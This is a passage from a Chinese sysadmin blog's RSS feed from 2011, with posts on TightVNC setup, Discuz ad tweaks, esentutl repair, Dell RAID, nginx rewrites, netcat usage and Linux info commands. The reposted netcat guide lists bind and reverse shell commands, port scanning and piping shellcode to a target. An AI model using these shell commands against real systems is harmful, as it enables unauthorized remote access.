<p>rpm -ivh tightvnc-server-1.3.9-3.el5.rf.x86_64.rpm --force --nodeps</p>
<p>(CentOS 5 32Bit)</p>
<p>wget http://packages.sw.be/tightvnc/tightvnc-server-1.3.9-3.el5.rf.i386.rpm</p>
<p>rpm -ivh tightvnc-server-1.3.9-3.el5.rf.i386.rpm --force --nodeps</p>
<p>其他版本到http://packages.sw.be/tightvnc找对应的rpm包。</p>
<p>补充：必须做以下操作,否则会因找不到字体路径而无法启动！</p>
<p>mkdir -p /usr/X11R6/lib/X11</p>
<p>ln -s /usr/share/X11/fonts /usr/X11R6/lib/X11/fonts&nbsp;</p>
<p>使用方法(以会话ID:1为例)</p>
<p>启动vnc.执行命令:</p>
<p>vncserver :1 -httpport 9001 -name icodex_desktop -depth 24 -geometry 1024x768</p>
<p>关闭vnc,执行命令:</p>
<p>vncserver -kill :1</p>
<p>参数说明:</p>
<p>usage: vncserver [:&lt;number&gt;] [-nohttpd] [-name &lt;desktop-name&gt;] [-depth &lt;depth&gt;]</p>
<p>[-geometry &lt;width&gt;x&lt;height&gt;]</p>
<p>[-pixelformat rgbNNN|bgrNNN]</p>
<p>&lt;Xvnc-options&gt;...</p>
<p>vncserver -kill &lt;X-display&gt;</p>
<p>:1 &gt; 会话ID.你可以建立多几个会话ID</p>
<p>-httpport|-nohttpd &gt; 打开的TCP访问端口或者关闭TCP访问</p>
<p>-name &gt; 命名.这个随意了...</p>
<p>-depth &gt; 色彩深度 设置16位或24位,32位是不启动的.</p>
<p>-geometry &gt; 屏幕纵横比</p>
<p>-pixelformat &gt; 像素格式,默认即可</p>
<p>vncserver -kill &lt;X-display&gt; 杀死会话ID.&lt;X-display&gt;为会话ID.如:vncserver -kill :1</p>
<p><strong>经过实际测试安装，用vnc client连接后仅占用104M内存。</strong></p>]]></description>
			<link>http://blog.is36.com/archives/236/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-08-23 11:53</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/archives/235/</guid>
			<title>Discuz x1.5 x2 格子广告修改记录</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <div>1 格子广告</div>
<div>&nbsp;</div>
<div>完美处理格子广告 需要修改两个文件 &nbsp;template/default/common/common.css 和source\class\adv\adv_text.php</div>
<div>&nbsp;</div>
<div>先看第一个文件common.css</div>
<div>&nbsp;</div>
<div>打开文件搜索 &ldquo;格子广告&rdquo; &nbsp;大概在494行 &nbsp;结果如下：</div>
<div>/* 格子广告 */ .a_t { margin-bottom: 10px; }</div>
<div>.a_t table { width: 100%; }</div>
<div>.a_t td { padding: 4px 15px; border: 1px solid {COMMONBORDER}; }</div>
<div>&nbsp;</div>
<div>这段代码中数值4 代表的是广告图片上下距离边框的距离 &nbsp; 数值15 代表的是广告图片左右距离边框的距离</div>
<div>&nbsp;</div>
<div>修改这个文件可以解决边距大小问题 &nbsp; 达到你满意的效果</div>
<div>&nbsp;</div>
<div>注意：这里面的4 &nbsp;15是指一侧的距离 同时左侧和右侧是相同的 &nbsp;也就是说 如果你的左右边距的值是15 &nbsp;那么你的图片左右两边距离边框的距离都是15PX &nbsp;对代码了解一点的都知道这个</div>
<div>&nbsp;</div>
<div>我在这里修改为：2 2，后台添加图片宽度设置为954看下第二个文件adv_text.php</div>
<div>&nbsp;</div>
<div>打开文件搜索 if($advcount &gt; 5) &nbsp;大概在98行 &nbsp;结果如下：</div>
<div>&nbsp;</div>
<div>$advcount = count($adids);</div>
<div>if($advcount &gt; 5) {</div>
<div>$minfillpercent = 0;</div>
<div>for($cols = 5; $cols &gt;= 3; $cols&ndash;) {</div>
<div>if(($remainder = $advcount % $cols) == 0) {</div>
<div>$advcols = $cols;</div>
<div>break;</div>
<div>&nbsp;</div>
<div>这段代码中的5 的意思是每行显示的个数 &nbsp;当这个数值为5时 &nbsp;那么一行最多显示5个广告 超过5个就会自动换行 第二行超过5个 还会自动换行。</div>
<div>&nbsp;</div>
<div>代码中3 的意思是 当广告个数大于一样 却又不足两行的时候 每行显示的个数 &nbsp;举例：按照默认的数值来说 每行最多显示5个广告 &nbsp;如果你的广告有六个 那么他就会变长两行 每行三个 &nbsp; 如果你把3改成4 &nbsp;那么就是第一行显示四个 第二行显示剩余的2个</div>
<div>&nbsp;</div>
<div>修改这个文件是更改每行显示的个数问题</div>
<div>&nbsp;</div>
<div>这样修改后 不仅美观 能够显示你想要的个数 &nbsp;重要的是让然可以使用定时功能</div>
<div>&nbsp;</div>
<div>2 后台广告去链接</div>
<div>&nbsp;</div>
<div>在后台添加图片广告是先加上#链接，在广告添加成功后编辑广告：点击代码模式，去掉代码中的链接即可</div>
<div>&nbsp;</div>
<div>3 DIY中标题居中方法</div>
<div>&nbsp;</div>
<div>1，DIY,选到数据&ndash;模块模版</div>
<div>2，在&lt;dt&gt;&lt;a href&gt;的dt后面加代码，如下：</div>
<div>&lt;dt style=&rdquo;text-align:center&rdquo;&gt;</div>
<div>&nbsp;</div>
<div>即可。</div>
<div>&nbsp;</div>
<div>来自：<a target="_blank" href="http://www.jianghaizhi.com/wzjs/356.html">http://www.jianghaizhi.com/wzjs/356.html</a></div>]]></description>
			<link>http://blog.is36.com/archives/235/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-08-18 11:21</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/archives/230/</guid>
			<title>[转]安装程序无法复制文件staxmem.dl_</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <div>WinXP SP2 安装IIS时提示：安装程序无法复制文件staxmem.dl_</div>
<div>&nbsp;</div>
<div>安装程序无法复制文件staxmem.dl_</div>
<div>运行：esentutl /p %windir%/security/database/secedit.sdb</div>
<div>&nbsp;</div>
<div>esentutl语法参数</div>
<div>&nbsp;</div>
<div>Windows有大量相互关联的系统数据库，众所周知的注册表就是其中最庞大的一名。其他还有如apph_sp.sdb、apphelp.sdb、drvmain.sdb、msimain.sdb、sysmain.sdb和secedit..sdb等等，这些数据库对系统来说都是非常重要的，他们用来跟踪安全或其他不在注册表中的系统设置。他们一旦出错，同样会导致系统无法正常启动。不过，并非所有sdb文件都是系统数据库。</div>
<div>&nbsp;</div>
<div>管理这些数据库，微软提供了一个管理工具：esentutl，该工具位于windows\system32目录下，因其管理的数据库都是系统重要数据库，如无必要，请勿测试，轻则抹去安全信息，重则会导致系统崩溃。使用前，务请备份原数据库。</div>
<div>&nbsp;</div>
<div>参数：</div>
<div>&nbsp;</div>
<div>运行模式：</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp; 碎片整理：esentutl/d 数据库文件名</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp; 恢复：esentutl/r</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp; 完整性检查：esentutl/g 数据库文件名</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp; 修复：esentutl/p 数据库文件名</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp; 文件转储：esentutl/m 文件名</div>
<div>&nbsp;</div>
<div>选项：</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp; /8 数据库分页大小8kb</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp; /o 禁用微软微标</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp; /s 流文件名 为流数据输出设置文件名</div>
<div>&nbsp;</div>
<div>&nbsp; &nbsp; /t 数据库文件名 设置临时数据库文件名</div>
<div>&nbsp;</div>
<div>举例：域控制器出现&ldquo;安全帐户管理器初始化失败，目录服务无法启动&rdquo;提示，并要求你重启到目录恢复模式下进行恢复时，采用其他办法没有解决时，可以试运行esentutl /p c:\winnt\ntds\ntds.dit /!10240 /8 /v /x /o 命令对域控制器进行灾难修复。当然这是没有办法的办法，只是比重新安装系统省点时间而已。最好还是平常多做备份，尤其是要勤备份AD，尽量不要在DC上安装用不着的软件。</div>
<div>&nbsp;</div>
<div>原文来自：<a target="_blank" href="http://blog.csdn.net/liujinxing/archive/2009/02/20/3912474.aspx">http://blog.csdn.net/liujinxing/archive/2009/02/20/3912474.aspx</a></div>]]></description>
			<link>http://blog.is36.com/archives/230/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-06-28 14:25</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/DELL_PowerEdge_2950_RAID_configuration/</guid>
			<title>DELL PowerEdge 2950服务器RAID配置总结</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>最近在测试DELL PowerEdge 2950服务器，拿到的是07年产的机器，可以通过开机按Ctrl+C进行SAS的RAID配置，或者用DELL引导盘进行RAID，不过SAS 5/6 IR只支持做Raid0和1，无论是通过BIOS里配置或者是引导盘配置。而把超过4块硬盘放进去，只能识别前4块硬盘。</p>
<p>具体RAID 0 与RAID 1配置见：<a target="_blank" href="http://support1.ap.dell.com/cn/zh/forum/Thread.asp?fid=20&amp;tid=100563">SAS 5/6 I/R 完全配置手册</a></p>
<p>DELL 2950配置Raid操作：<a target="_blank" href="http://laowu2517.blog.51cto.com/1082855/241040">http://laowu2517.blog.51cto.com/1082855/241040</a></p>
<p>其他DELL 资料：<a target="_blank" href="http://support1.ap.dell.com/cn/zh/forum/thread.asp?fid=8&amp;tid=286542">阵列配置 管理工具 系统完全攻略集 绝对完整的资料</a></p>
<p>PowerEdge服务器产品技术论坛：<a target="_blank" href="http://support1.ap.dell.com/cn/zh/forum/forum.asp?fid=8">http://support1.ap.dell.com/cn/zh/forum/forum.asp?fid=8</a></p>
<p>各RAID级别最少需要的硬盘数量：RAID0=1 &nbsp;RAID1=2 &nbsp;RAID5=3 &nbsp;RAID10=4 &nbsp;RAID50=6</p>
<p>
<p>分享下热备盘、全局热备以及阵列热备盘的区别：热备盘，在发现其他硬盘有损坏趋势或已损坏时，备份损坏盘中的内容。全局热备就是对除热备盘外的所有硬盘起作用，阵列热备只对指定阵列起作用。</p>
</p>]]></description>
			<link>http://blog.is36.com/DELL_PowerEdge_2950_RAID_configuration/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-06-07 14:40</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/convert_apache_htaccess_to_nginx_rules/</guid>
			<title>转换重写规则：从apache的htaccess到nginx的RewriteRule</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>越来越多的web服务器开始选择跑nginx，而两个平台的RewriteRule却不相同，有这么一个网站，可以解决这个问题：</p>
<p><a target="_blank" href="http://www.anilcetin.com/convert-apache-htaccess-to-nginx/">http://www.anilcetin.com/convert-apache-htaccess-to-nginx/</a></p>]]></description>
			<link>http://blog.is36.com/convert_apache_htaccess_to_nginx_rules/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-05-08 17:49</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/linux_nc/</guid>
			<title>【转】linux下常用命令参数详解-nc</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>
<p>'nc.exe -h'即可看到各参数的使用方法。&nbsp;</p>
<p>基本格式：nc [-options] hostname port[s] [ports] ...&nbsp;</p>
<p>&nbsp;　　 nc -l -p port [options] [hostname] [port]</p>
<p>-d 后台模式&nbsp;</p>
<p>-e prog 程序重定向，一旦连接，就执行 [危险!!]&nbsp;</p>
<p>-g gateway source-routing hop point[s], up to 8&nbsp;</p>
<p>-G num source-routing pointer: 4, 8, 12, ...&nbsp;</p>
<p>-h 帮助信息&nbsp;</p>
<p>-i secs 延时的间隔&nbsp;</p>
<p>-l 监听模式，用于入站连接&nbsp;</p>
<p>-L 连接关闭后,仍然继续监听&nbsp;</p>
<p>-n 指定数字的IP地址，不能用hostname&nbsp;</p>
<p>-o file 记录16进制的传输&nbsp;</p>
<p>-p port 本地端口号&nbsp;</p>
<p>-r 随机本地及远程端口&nbsp;</p>
<p>-s addr 本地源地址&nbsp;</p>
<p>-t 使用TELNET交互方式&nbsp;</p>
<p>-u UDP模式&nbsp;</p>
<p>-v 详细输出--用两个-v可得到更详细的内容&nbsp;</p>
<p>-w secs timeout的时间&nbsp;</p>
<p>-z 将输入输出关掉--用于扫描时</p>
<p>端口的表示方法可写为M-N的范围格式。</p>
<p>1)连接到远程主机</p>
<p>格式：nc -nvv 192.168.x.x 80&nbsp;</p>
<p>讲解：连到192.168.x.x的TCP80端口&nbsp;</p>
<p>2)监听本地主机</p>
<p>格式：nc -l -p 80&nbsp;</p>
<p>讲解：监听本机的TCP80端口&nbsp;</p>
<p>3)扫描远程主机</p>
<p>格式：nc -nvv -w2 -z 192.168.x.x 80-445&nbsp;</p>
<p>讲解：扫描192.168.x.x的TCP80到TCP445的所有端口&nbsp;</p>
<p>4)REMOTE主机绑定SHELL，例子：&nbsp;</p>
<p>格式：nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe&nbsp;</p>
<p>讲解：绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口&nbsp;</p>
<p>5)REMOTE主机绑定SHELL并反向连接，例子：&nbsp;</p>
<p>格式：nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354&nbsp;</p>
<p>讲解：绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口&nbsp;</p>
<p>以上为最基本的几种用法（其实NC的用法还有很多，&nbsp;</p>
<p>当配合管道命令&quot;|&quot;与重定向命令&quot;&lt;&quot;、&quot;&gt;&quot;等等命令功能更强大......）。&nbsp;</p>
<p>6)作攻击程序用，例子：&nbsp;</p>
<p>格式1：type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80&nbsp;</p>
<p>格式2：nc -nvv 192.168.x.x 80 &lt; c:\exploit.txt&nbsp;</p>
<p>讲解：连接到192.168.x.x的80端口，并在其管道中发送'c:\exploit.txt'的内容(两种格式确有相同的效果，真是有异曲同工之妙:P)&nbsp;</p>
<p>附：'c:\exploit.txt'为shellcode等&nbsp;</p>
<p>7)作蜜罐用[1]，例子：&nbsp;</p>
<p>格式：nc -L -p 80&nbsp;</p>
<p>讲解：使用'-L'(注意L是大写)可以不停地监听某一个端口，直到ctrl+c为止&nbsp;</p>
<p>8)作蜜罐用[2]，例子：&nbsp;</p>
<p>格式：nc -L -p 80 &gt; c:\log.txt&nbsp;</p>
<p>讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，同时把结果输出到'c:\log.txt'中，如果把&lsquo;&gt;'&nbsp;</p>
<p>&nbsp;　 改为&lsquo;&gt;&gt;'即可以追加日志&nbsp;</p>
<p>附：'c:\log.txt'为日志等&nbsp;</p>
<p>9)作蜜罐用[3]，例子：&nbsp;</p>
<p>格式1：nc -L -p 80 &lt; c:\honeypot.txt&nbsp;</p>
<p>格式2：type.exe c:\honeypot.txt|nc -L -p 80&nbsp;</p>
<p>讲解：使用'-L'可以不停地监听某一个端口，直到ctrl+c为止，并把'c:\honeypot.txt'的内容&lsquo;送'入其管道中！</p>
<p>10)备份档案</p>
<p>A机的资料夹 /data备份到B主机的backup.tgz</p>
<p>源主机: tar czf - work|nc -l -c -p 1234&nbsp;</p>
<p>目的主机: nc 192.168.0.1 1234 &gt;a.tgz</p>
<p>或</p>
<p>A:tar -zcf data|nc -l -p 4444</p>
<p>B:nc a 4444 &gt;backup.tgz</p>
<p>传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿</p>
</p>
<p>&nbsp;</p>]]></description>
			<link>http://blog.is36.com/linux_nc/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-05-05 21:59</pubDate>
		</item>
		<item>
			<guid>http://blog.is36.com/linux_system_cmd/</guid>
			<title>【转】linux查看系统信息命令</title>
			<author>正冰</author>
			<description><![CDATA[正冰 ( http://blog.is36.com/ ) : <p>从网上摘录而来，方便自己。如果需要一次性返回多条命令结果，可以在命令中间加连接符&ldquo;&amp;&rdquo;。</p>
<hr />
<p>&nbsp;# uname -a &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看内核/操作系统/CPU信息</p>
<p># head -n 1 /etc/issue &nbsp; # 查看操作系统版本</p>
<p># cat /proc/cpuinfo &nbsp; &nbsp; &nbsp;# 查看CPU信息</p>
<p># hostname &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看计算机名</p>
<p># lspci -tv &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 列出所有PCI设备</p>
<p># lsusb -tv &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 列出所有USB设备</p>
<p># lsmod &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 列出加载的内核模块</p>
<p># env &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看环境变量资源</p>
<p># free -m &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看内存使用量和交换区使用量</p>
<p># df -h &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看各分区使用情况</p>
<p># du -sh &lt;目录名&gt; &nbsp; &nbsp; &nbsp; &nbsp;# 查看指定目录的大小</p>
<p># grep MemTotal /proc/meminfo &nbsp; # 查看内存总量</p>
<p># grep MemFree /proc/meminfo &nbsp; &nbsp;# 查看空闲内存量</p>
<p># uptime &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看系统运行时间、用户数、负载</p>
<p># cat /proc/loadavg &nbsp; &nbsp; &nbsp;# 查看系统负载磁盘和分区</p>
<p># mount | column -t &nbsp; &nbsp; &nbsp;# 查看挂接的分区状态</p>
<p># fdisk -l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看所有分区</p>
<p># swapon -s &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看所有交换分区</p>
<p># hdparm -i /dev/hda &nbsp; &nbsp; # 查看磁盘参数(仅适用于IDE设备)</p>
<p># dmesg | grep IDE &nbsp; &nbsp; &nbsp; # 查看启动时IDE设备检测状况网络</p>
<p># ifconfig &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看所有网络接口的属性</p>
<p># iptables -L &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看防火墙设置</p>
<p># route -n &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看路由表</p>
<p># netstat -lntp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看所有监听端口</p>
<p># netstat -antp &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看所有已经建立的连接</p>
<p># netstat -s &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看网络统计信息进程</p>
<p># ps -ef &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看所有进程</p>
<p># top &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 实时显示进程状态用户</p>
<p># w &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看活动用户</p>
<p># id &lt;用户名&gt; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看指定用户信息</p>
<p># last &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看用户登录日志</p>
<p># cut -d: -f1 /etc/passwd &nbsp; # 查看系统所有用户</p>
<p># cut -d: -f1 /etc/group &nbsp; &nbsp;# 查看系统所有组</p>
<p># crontab -l &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 查看当前用户的计划任务服务</p>
<p># chkconfig &ndash;list &nbsp; &nbsp; &nbsp; # 列出所有系统服务</p>
<p># chkconfig &ndash;list | grep on &nbsp; &nbsp;# 列出所有启动的系统服务程序</p>
<p># rpm -qa &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 查看所有安装的软件包</p>
<p># cat /proc/cpuinfo ：查看CPU相关参数</p>
<p># cat /proc/partitions ：查看硬盘和分区</p>
<p># cat /proc/meminfo ：查看内存信息</p>
<p># cat /proc/version ：查看版本，类似uname -r</p>
<p># cat /proc/ioports ：查看设备io端口</p>
<p># cat /proc/interrupts ：查看中断</p>
<p># cat /proc/pci ：查看pci设备的信息</p>
<p># cat /proc/swaps ：查看所有swap分区的信息</p>]]></description>
			<link>http://blog.is36.com/linux_system_cmd/</link>
			<category domain="http://blog.is36.com/category/technology_all/">技术归总</category>
			<pubDate>2011-05-05 21:33</pubDate>
		</item>
	</channel>
</rss>

